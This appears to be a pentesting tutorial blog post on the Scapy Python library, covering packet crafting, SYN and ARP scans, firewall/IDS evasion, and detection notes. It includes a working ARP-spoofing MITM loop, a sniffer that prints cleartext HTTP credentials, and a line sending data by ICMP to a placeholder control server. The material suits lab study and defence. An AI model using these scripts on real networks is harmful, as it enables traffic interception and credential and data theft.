Scapy Python: Packet Crafting, Sniffing, and ARP Spoofing

Learn Scapy with Python to create and parse TCP, UDP, ICMP, and ARP packets, perform SYN scans, sniffing, ARP spoofing, and test firewalls and IDSs.
- Posted on 2026-08-20
- Reading time: 15 min
Scapy: Packet Crafting with Python for Pentesting, Firewall Evasion and ARP Spoofing #
Scapy is a Python library for packet crafting : it allows you to construct, send, capture, and analyze network packets field by field (Ethernet, IP, TCP, UDP, ICMP, ARP, and others), rather than relying on the predefined options of a tool like Nmap or Wireshark. It falls into the same category as raw Python sockets and network programming tools, but with a level of control that no command-line tool offers.
Before you begin, you need:
- Python 3 installed
- Linux (recommended) or Windows with Npcap driver
- elevated privileges for most operations (root on Linux, administrator prompt on Windows)
- a lab network (VM, HTB, VulnLab) — never a network you don't manage
- TCP/IP basics: what are IP, ports, and the three-way handshake?
In this article you will see:
- How to install Scapy and the requirements to use it
- How to explore protocols and inspect a packet with
ls(),show(),summary()ehexdump() - How to send an ICMP ping, perform a TCP SYN scan, and construct UDP, ARP, and IPv6 packets
- how to use
srp()for host discovery via ARP across an entire subnet - How to use fragmentation and TCP flag combinations to bypass firewalls and IDSs — and how an IDS detects it
- How to capture packets (with BPF filters) and do full ARP spoofing, with forwarding and credential sniffing
- How to save and reopen captures in PCAP format
- where Scapy fits into a real pentest workflow, when to use Nmap or Wireshark instead, and the most common mistakes beginners make
What is Scapy and how is it different from Nmap, Wireshark, and hping3? #
Whenever two computers communicate, they exchange data encapsulated in layers: an Ethernet frame contains an IP packet, which contains a TCP (or UDP, or ICMP) packet, a bit like envelopes inside each other. Nmap, hping, and Wireshark read and construct these envelopes for you, with logic predefined by their authors.
Scapy gives you the same power, but at the individual field level, within a Python script: you decide the TCP flag, the TTL, fragmentation, and the layer order. This makes it slower and less practical for routine work, but it's indispensable when you need to understand exactly what's happening in a packet, or build something that a ready-made tool doesn't cover.
Installation and required permits #
pip install scapy
# Su Kali/Debian, alternativa via pacchetto di sistema
sudo apt install python3-scapy -y
# Verifica versione installata
python3 -c "import scapy; print(scapy.__version__)"Scapy works with raw sockets, meaning it directly accesses the network interface, bypassing the operating system's normal stack for these operations. This requires elevated privileges for most sending, sniffing, and raw socket access operations.
sudo python3or run the entire script with sudo In front. On Windows, you need a command prompt with administrator privileges and the Npcap driver installed.
Scapy basic syntax #
Before the practical examples, the structure you will use in each script: protocols stack with /, from the lowest to the highest level.
Layer 2 → Ether()
Layer 3 → IP()
Layer 4 → TCP() / UDP() / ICMP()
Payload → Raw()from scapy.all import IP, TCP, Ether
IP(dst="192.168.1.10") # solo layer 3
IP(dst="192.168.1.10") / TCP(dport=80, flags="S") # layer 3 + 4
Ether() / IP(dst="192.168.1.10") / TCP(dport=80) # layer 2 + 3 + 4Every object constructed like this (IP(), TCP(), an IP()/TCP() combined) is a normal Python object: you can inspect it, modify it field by field, or pass it to send()/sr1() to send it.
Before building packages: Explore protocols with ls() e show()
#
Even before the practical examples, it's worth knowing the tools Scapy offers to explore what you're building — otherwise "field by field" remains just a slogan.
from scapy.all import ls, IP, TCP
ls(TCP) # elenca tutti i campi disponibili nel protocollo TCP, coi valori di defaultls() It shows you every field a protocol supports (flags, options, and less common fields that no tutorial mentions). It's the fastest way to figure out how to build a non-standard package, without having to search for documentation every time.
pkt = IP(dst="1.1.1.1") / TCP(dport=443, flags="S")
pkt.show() # struttura leggibile del pacchetto, livello per livello
pkt.show2() # come show(), ma forza il calcolo dei campi automatici (es. checksum)
pkt.summary() # riepilogo su una riga, utile quando ne ispezioni tanti in sequenzaThe difference between show() e show2() It matters more than it seems: Scapy calculates some fields — like IP and TCP checksums — only at send time, not when you construct the packet. show() before sending it may show you an empty checksum or None; show2() forces that calculation, useful in debugging when a packet “looks right” but the target silently discards it.
For byte-by-byte inspection, instead of the readable structure:
from scapy.all import hexdump
hexdump(pkt) # dump esadecimale del pacchetto, campo per campo a livello di bitWhich interface am I actually using? On a machine with multiple interfaces (Wi-Fi, Ethernet, VPN—typically when you're connected to HackTheBox or VulnLab VPN), Scapy chooses the interface based on the system routing table, which you can inspect directly:
from scapy.all import conf, get_if_list
get_if_list() # elenco grezzo delle interfacce disponibili sul sistema
conf.ifaces # elenco delle interfacce che Scapy vede, con più dettaglio
conf.iface # interfaccia di default che Scapy userebbe ora
conf.route # tabella di routing usata per decidere da dove escono i pacchettiIf a packet never seems to arrive at its destination during a VPN lab, the first suspicion is almost always this: Scapy is exiting the wrong interface, not the tunnel.
Scapy vs Nmap vs Wireshark vs hping3: When to Use What #
A question almost everyone new to learning asks: if Nmap, Wireshark, and hping3 already exist, why learn Scapy? Because each one solves a different problem:
| Tool | Ideal for |
|---|---|
| scapey | Custom packet crafting, packages that no tool foresees, understanding a protocol thoroughly |
| Nmap | Fast and mature large-scale port scan |
| Wireshark | Visual analysis of captured traffic |
| tcpdump | Lightweight, command-line capture on servers without a GUI |
| hping3 | Targeted TCP tests from the command line, without writing code |
| masscan | Mass scanning of thousands of ports/IPs in seconds |
In practice: You use Nmap to discover, Wireshark to look, and Scapy when you need to build something the other two don’t predict — or really figure out why a packet behaves a certain way.
Ethernet, IP, and Forwarding: The Basics That Really Matter #
Before the examples, two concepts that almost all Scapy tutorials skip—and which are why everyone's first script often doesn't work.
The Ethernet layer (Ether()). Functions send() e sr1() They work at layer 3 (IP): Scapy takes care of finding the destination MAC address via system routing. But on a local network, if you need to control layer 2 yourself (for example, in an ARP attack, or to send on a specific interface), you must also construct the Ethernet frame and use the “p” (packet, layer 2) functions:
from scapy.all import Ether, ARP, sendp
frame = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="192.168.1.1")
sendp(frame, iface="eth0")sendp() sends at layer 2 and requires you to specify the Ethernet layer; send() It works at layer 3 and the system takes care of encapsulating it. Confusing them is the most common cause of "my script isn't sending anything."
send()/sendp() vs sr1()/sr()/srp(). send() e sendp() They just send, without waiting for a response — useful for continuous flows like ARP spoofing. sr1() send and wait one answer; sr() sends (even multiple packets together, at level 3) and collects all responses, returning request/response pairs. srp() It does the same thing but at layer 2 — it's the function you typically use for ARP host discovery on an entire subnet, where you also need to check the Ethernet frame:
from scapy.all import Ether, ARP, srp
# Host discovery: chi risponde su tutta la subnet?
risposte, non_risposte = srp(
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="192.168.1.0/24"),
timeout=2,
verbose=False
)
for inviato, ricevuto in risposte:
print(ricevuto[ARP].psrc, ricevuto[Ether].src)This is Scapy's equivalent of an ARP scan: it sends a broadcast request to the entire subnet and collects who responds, with IP and MAC — useful as a first recon pass on a local network before even running Nmap.
To scan multiple packages at once, sr()/srp() are more efficient than a cycle of sr1().
The timeout is mandatory, not optional. If the target does not respond (filtered port, silent firewall), sr1() Without a timeout, it gets stuck indefinitely waiting for a packet that will never arrive.
risposta = sr1(pacchetto, timeout=2)
if risposta is None:
print("Nessuna risposta")Always put it in, right from the first script.
How to send an ICMP ping with Scapy #
from scapy.all import IP, ICMP, sr1
pacchetto = IP(dst="8.8.8.8") / ICMP()
risposta = sr1(pacchetto, timeout=2)
if risposta:
risposta.show()The symbol / It packs one layer inside the other: here the ICMP inside the IP. risposta.show() Prints every field of the received packet — the most direct way to actually see what an IP/ICMP packet looks like, rather than just reading it on a diagram.
How to Perform a TCP SYN Scan with Scapy #
from scapy.all import IP, TCP, sr1
pacchetto = IP(dst="192.168.1.10") / TCP(dport=80, flags="S")
risposta = sr1(pacchetto, timeout=2)
if risposta and risposta.haslayer(TCP):
if risposta[TCP].flags == "SA":
print("Porta aperta")
elif risposta[TCP].flags == "RA":
print("Porta chiusa")flags="S" It's the SYN flag, which opens a connection. If the port is open, the target responds. SA (SYN-ACK); if it is closed it responds RA (RST-ACK). We never complete the connection with the third ACK—that's why it's called a half-open scan, and it's generally less noisy than a full TCP connection, because many application logs only record completed connections (a network IDS, however, still sees it pass through).
There is, however, one detail that almost no tutorial mentions: when the target responds with SA, and the your own Linux kernel —not the script—to respond with an RST, because it knows nothing about this connection initiated "by hand" by Scapy. This can disrupt or reveal the scan. To avoid this, many temporarily block outgoing RSTs from being sent to the target:
sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROPTo be removed once the testing session is finished, obviously.
UDP: The Protocol Almost Everyone Forgets #
Among the Scapy tutorials out there, almost all of them stop at TCP and ICMP, but a good part of the services of interest in a pentest run on UDP: DNS, SNMP, TFTP, many discovery protocols.
from scapy.all import IP, UDP, sr1
pacchetto = IP(dst="192.168.1.10") / UDP(dport=161) # 161 = SNMP
risposta = sr1(pacchetto, timeout=2)Unlike TCP, UDP does not have a handshake: if no response arrives, it could mean the port is closed or open, but the service does not respond to an empty packet — with UDP, you almost always need to construct a minimally valid payload for that specific protocol (a real DNS query, an SNMP packet with a community string) to get a useful response.
A note on IPv6 #
Many corporate networks have IPv6 enabled by default, even when administrators think they've disabled it—and a scanner that only looks at IPv4 misses that portion of the attack surface. Scapy supports IPv6 and ICMPv6 equally:
from scapy.all import IPv6, ICMPv6EchoRequest, sr1
pacchetto = IPv6(dst="fe80::1") / ICMPv6EchoRequest()
risposta = sr1(pacchetto, timeout=2)This isn't a textbook detail: a service you thought was only reachable over IPv4 might also respond in IPv6, opening a path that the firewall filters differently (or not at all).
Scapy for Testing Firewalls and IDS #
The evasion techniques below are intended for use only in authorized assessments or labs—it's a Scapy use that no other tool truly replaces: building packages designed to fool a security device, not just hit a target.
IP fragmentation. Some firewalls only inspect the first fragment of a split packet, letting the rest pass unchecked. You can manually split a packet into two IP fragments:
from scapy.all import IP, TCP, Raw, send
pacchetto = IP(dst="192.168.1.10", flags="MF", frag=0) / TCP(dport=80, flags="S")
secondo_frammento = IP(dst="192.168.1.10", frag=1) / Raw(load="dati residui")
send(pacchetto)
send(secondo_frammento)flags="MF" (More Fragments) says more pieces follow; frag=1 indicates the offset of the second fragment. A firewall that only evaluates the first fragment may never see the complete TCP header.
Low TTL to map what's behind a firewall. Each router the packet passes through decrements the TTL by 1; at zero the packet times out and the router responds with an ICMP “time exceeded” error. Playing with the TTL (the same principle as traceroute) you understand how many hops separate you from the target, and you can purposely time out a packet on a specific segment instead of reaching the final host — useful for evading the scan by the security system closest to the real target.
Abnormal TCP flag combinations. Nmap already implements them (-sX, -sN, -sF), but understanding what they do helps interpret the results:
from scapy.all import IP, TCP, sr1
# Xmas scan: FIN + PSH + URG accesi insieme — combinazione che non esiste in un handshake normale
pacchetto = IP(dst="192.168.1.10") / TCP(dport=80, flags="FPU")
risposta = sr1(pacchetto, timeout=2)An RFC 793-compliant TCP/IP system should respond with nothing if the port is open, and with an RST if it's closed—a behavior different from a classic SYN scan, which some stateful firewalls don't filter in the same way because they don't recognize the start of a "regular" connection. This type of test is called ACL mapping : understanding, packet by packet, which rules a firewall actually has, not which ones it claims to have.
How an IDS detects these attempts #
It's also worth knowing the defensive side, because it helps understand how "invisible" these techniques really are (spoiler alert: increasingly less so). A detection system like Suricata or Zeek typically reports:
- TCP flag combinations that do not exist in normal traffic (Xmas, NULL scan)
- abnormal IP fragmentation or overlapping fragments
- TTL inconsistent with other traffic from the same source
- slow, multi-port scanning patterns, specifically designed to stay below the threshold — but still recognizable over a wider time window
A basic Snort/Suricata rule for a Xmas scan, just to get an idea of how to write it, simply check the flag combination FIN,PSH,URG active together on a TCP packet. Knowing this shouldn't discourage you from trying these techniques in the lab; it helps give you realistic expectations about how "noisy" they will be in a well-monitored environment.
Packet Sniffing and PCAP #
In addition to building packets, Scapy can also programmatically capture and parse them with Berkeley Packet Filters (BPFs) — the same syntax you would use with tcpdump:
| Filter | Meaning |
|---|---|
tcp | TCP traffic only |
udp | UDP traffic only |
icmp | ICMP traffic only |
port 80 | traffic to/from port 80 |
tcp port 443 | TCP only on port 443 (HTTPS) |
host 192.168.1.10 | traffic to/from a specific host |
arp | ARP traffic only |
from scapy.all import sniff, Raw, TCP
def analizza(pkt):
if pkt.haslayer(Raw) and pkt.haslayer(TCP) and pkt[TCP].dport == 80:
payload = pkt[Raw].load
if b"password" in payload.lower() or b"user" in payload.lower():
print(payload)
sniff(filter="tcp port 80", prn=analizza, store=False)pkt[Raw].load This is the raw payload of the packet: on unencrypted HTTP traffic, it often contains cleartext login forms. This is the same reason HTTPS exists—but on a lab network where you've intercepted unencrypted traffic (see the next section), this kind of script exposes a problem that remains abstract in theory.
Capture while you do something else. sniff() blocks the script until the capture is finished — a problem when, for example, you need to start a sniffer and then follow up with ARP spoofing in the same script. AsyncSniffer solves this by capturing in the background:
from scapy.all import AsyncSniffer
sniffer = AsyncSniffer(filter="tcp", prn=analizza, store=False)
sniffer.start()
# ...qui il resto dello script continua, es. l'ARP spoofing
sniffer.stop()
sniff()Keeps all captured packets in memory by default. On long captures, setstore=False(as in the examples above) or the RAM runs out.
Save and reopen a capture (PCAP). For a pentest report, or to calmly reanalyze what you've captured, save everything to a file .pcap — the same format that Wireshark opens:
from scapy.all import wrpcap, rdpcap
wrpcap("cattura.pcap", pacchetti_catturati) # salva una lista di pacchetti
pacchetti = rdpcap("cattura.pcap") # ricarica per analisi offlineA typical flow in a real pentest is just this: build or capture with Scapy, save in PCAP, and open the file in Wireshark for more convenient visual analysis — the two tools are not mutually exclusive, they complement each other.
ARP Spoofing and MITM with Scapy #
ARP spoofing exploits the fact that the ARP protocol doesn't verify your identity: simply replying "It's me" more often than the legitimate machine is enough for the victim to believe you. Use this technique only on networks you manage or in an authorized engagement—on real local networks, third-party traffic may include personal data that isn't in scope.
from scapy.all import ARP, send
import time
def spoof(ip_target, ip_da_impersonare):
pacchetto = ARP(op=2, pdst=ip_target, psrc=ip_da_impersonare)
send(pacchetto, verbose=False)
while True:
spoof("192.168.1.20", "192.168.1.1") # dico alla vittima che il gateway sono io
spoof("192.168.1.1", "192.168.1.20") # dico al gateway che la vittima sono io
time.sleep(2)One detail that separates a successful attack from a disaster: without IP forwarding active on your machine, the traffic you intercept never reaches its destination . You've performed a partial MITM, which is, in effect, a denial of service to the victim, not an interception.
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forwardOnly with forwarding enabled does the traffic actually pass through you and still reach the gateway—at which point the sniffing script from the previous section, pointed at the right interface, can read what the victim sends in clear text. This is the same principle that makes a protocol like TFTP, which doesn't encrypt anything, dangerous: once the traffic is intercepted, the data passes in clear text past you.
A Note on DNS and ICMP Exfiltration #
In an environment where outgoing TCP traffic is blocked but ICMP or DNS still gets through (this often happens in tests on segmented corporate networks), a channel like this becomes interesting to know from a defensive perspective rather than an offensive one:
from scapy.all import IP, ICMP, Raw, send
send(IP(dst="server-di-controllo") / ICMP() / Raw(load="dato da esfiltrare"))An ICMP packet with data in the payload looks like any other ping on a cursory inspection. The same principle applies to DNS queries constructed with data hidden in the hostname (dato.dominio-attaccante.com). Knowing this is especially useful for a blue team: an IDS that only inspects the headers and not the content of ICMP/DNS packets does not see anything anomalous, and this is why mature detection systems (Suricata, Zeek) also check the size and frequency of these packets, not just the protocol.
Where Scapy Enters a Real Pentest #
No pentester wakes up thinking, "Today I'm going to do ARP spoofing with Scapy," as an isolated activity. Scapy enters a larger flow, usually like this:
- Nmap or another scanner Find a service or behavior that doesn't add up — a port that responds strangely, an uncommon protocol, a firewall that seems to block inconsistently
- Scapy builds the specific package to test that hypothesis — a particular flag, a fragment, a protocol that generic scanners don't thoroughly test
- Wireshark (or a PCAP capture) confirms what really happened on the wire, packet by packet
- the result becomes part of the reporting.: not “I tried evading”, but “firewall X does not inspect fragments beyond the first, proof of this is packet Y reaching service Z”
Scapy, in this flow, is never the main tool from start to finish: it is the way to answer a specific question when the generic tool is no longer enough.
Scapy Main Features #
| Function | Usage |
|---|---|
send() | Sending at layer 3 (IP), without waiting for a response |
sendp() | Sending at layer 2 (Ethernet), without waiting for a response |
sr() | Send (level 3) + collect all responses |
sr1() | Send + wait for a single response |
srp() | As a sr() but at level 2 — typical for host discovery ARP |
sniff() | Packet capture with BPF filter |
AsyncSniffer() | Background capture, non-blocking |
ls() | Lists the available fields of a protocol |
show() | Show the structure of a package |
show2() | As a show(), but forces the automatic fields to be calculated |
summary() | One-line package summary |
hexdump() | Hexadecimal dump of the packet |
wrpcap() | Save a capture in PCAP format |
rdpcap() | Reread a PCAP file |
get_if_list() / conf.iface | List/show available network interfaces |
The Real Limits of Scapy (and When It's Not the Right Tool) #
- It has a non-negligible overhead at high volumes. For a scan of 65.000 ports, you don't use Scapy: you use Nmap or masscan, which are designed for that. Scapy builds each packet in Python and doesn't typically take advantage of kernel-level acceleration (techniques like PF_RING, AF_PACKET, or DPDK, used by tools designed for volume scanning)—on a mass scan, the overhead becomes noticeable.
- It's not invisible. The generated packets have recognizable timing and characteristics; a mature IDS like Suricata or Snort with updated rules detects them without too much difficulty. Scapy helps to to understand evasion, does not guarantee it.
- It's not a C2. The examples of covered channels seen above are instructive: a real command & control (Cobalt Strike, Sliver, or even a simple custom framework) handles encryption, jitter, resilience to packet loss — things that a Scapy script written in half an hour cannot replicate.
- Not all network stacks behave the same. A packet built “according to the law” by Scapy can still be interpreted differently by different TCP/IP stacks (Linux, Windows, embedded devices), and some network cards calculate the checksums themselves (offload), making
show()misleading until you force the calculation withshow2()as seen above.
Knowing when not to use a tool is as much a part of competence as knowing how to use it.
Common Mistakes of Scapy Beginners #
sr1()withouttimeout: the script hangs if the target does not respond- Forget
Ether()/sendp()when level 2 control is needed, and then ask yourself whysend()does not work on an ARP attack - ARP spoofing without enabling IP forwarding: From MITM to Accidental DoS in a Second
- Do not set
store=Falseinsniff()on long catches: RAM runs out - To watch
show()before sending and think the checksum is wrong: some fields are calculated only at the time of transmission — useshow2()to see them already valued
Troubleshooting #
| Problem | Probable cause |
|---|---|
| No response to the sent packet | Firewall, incorrect routing, or service down |
| The packet appears to be coming out of the wrong interface | Multiple VPN/Wi-Fi/Ethernet — check conf.iface/conf.route |
Permission denied on sending | Insufficient privileges — root/administrator required |
Apparently incorrect checksum in show() | Field calculated only on submission — use show2() |
sendp()/ARP not working | Manca Ether(), or wrong interface |
| SYN scan with inconsistent results | The local kernel generates RST automatically — see the note in the TCP SYN section |
sniff() it doesn't catch anything | Wrong BPF filter or wrong interface |
Is it legal? #
Building and sending packets—even "anomalous" ones like those seen here—on a network or system for which you have explicit permission (your own lab, a HackTheBox or VulnLab machine, a client-authorized testing environment) is a normal learning and pentesting activity. Doing so on other people's networks or systems without authorization falls under the unauthorized access to a computer system offense provided for under Article 615-ter of the Italian Criminal Code—one more reason to keep these experiments within a lab, not on networks you don't manage.
FAQ #
What is Scapy in Python? A library for packet crafting: constructing, sending, capturing, and analyzing network packets field by field, across Ethernet, IP, TCP, UDP, ICMP, and other protocols.
What is Scapy used for? Network security, penetration testing, network troubleshooting, and protocol research—anywhere you need to construct or analyze a packet at a level of detail that standard tools don't offer.
How do I install Scapy?
pip install scapy, or on Kali/Debian sudo apt install python3-scapy.
Do you need to be root to use Scapy? Most sending, sniffing, and raw socket access operations require elevated privileges (root on Linux, administrator on Windows)—this isn't an absolute requirement for every single function in the library, but it is for almost everything that directly touches the network.
Does Scapy work on Windows? Yes, but you need to install the Npcap driver, and some layer 2 features may behave differently than on Linux, especially over Wi-Fi.
Can Scapy replace Nmap? No, for everyday scanning, Nmap is still faster and more mature. Scapy is useful for understanding how those techniques work, or for building packages that Nmap doesn't support.
What is the difference between send() e sendp()?
send() works at layer 3 (IP) and lets the system take care of Ethernet encapsulation; sendp() works at layer 2 and requires you to explicitly construct the Ethernet frame.
What is the difference between sr(), sr1() e srp()?
sr1() send and wait for a single response; sr() sends (even multiple packets together) and returns all request/response pairs received at layer 3; srp() does the same at layer 2, typically used for ARP host discovery on a subnet.
How do you do host discovery with Scapy?
With srp() and a broadcast ARP packet to the entire subnet — see the example in the section on srp() over it.
Is Scapy slow? Compared to volume-optimized tools like Nmap or masscan, yes: it constructs each packet in Python. For a few targeted packets, the difference is negligible; for scans of thousands of ports, it's noticeable.
Does Scapy support IPv6? Yes, including ICMPv6 and Neighbor Discovery, with the same layering logic as for IPv4.
Does a modern IDS detect traffic generated by Scapy? In most cases, yes, if the rules are up to date. Scapy is a tool for learning and exploring evasion, not a guarantee of invisibility in a well-monitored environment.
Is Scapy legal to use? Building and sending packages on a network or system where you have explicit permission (lab, HTB, VulnLab, or an authorized engagement) is a normal study and pentesting activity. On networks you don't manage without authorization, it's not—see the legal section above.
To learn more #
- Scapy — official documentation — complete reference of available protocols and functions
- Our guide to Docker port 2375 shows another case where really understanding what's running "underneath" a protocol makes the difference between a cursory scan and a real discovery.
This article is for educational purposes only. Techniques tested on authorized environments such as HackTheBox, VulnLab, and personal labs.








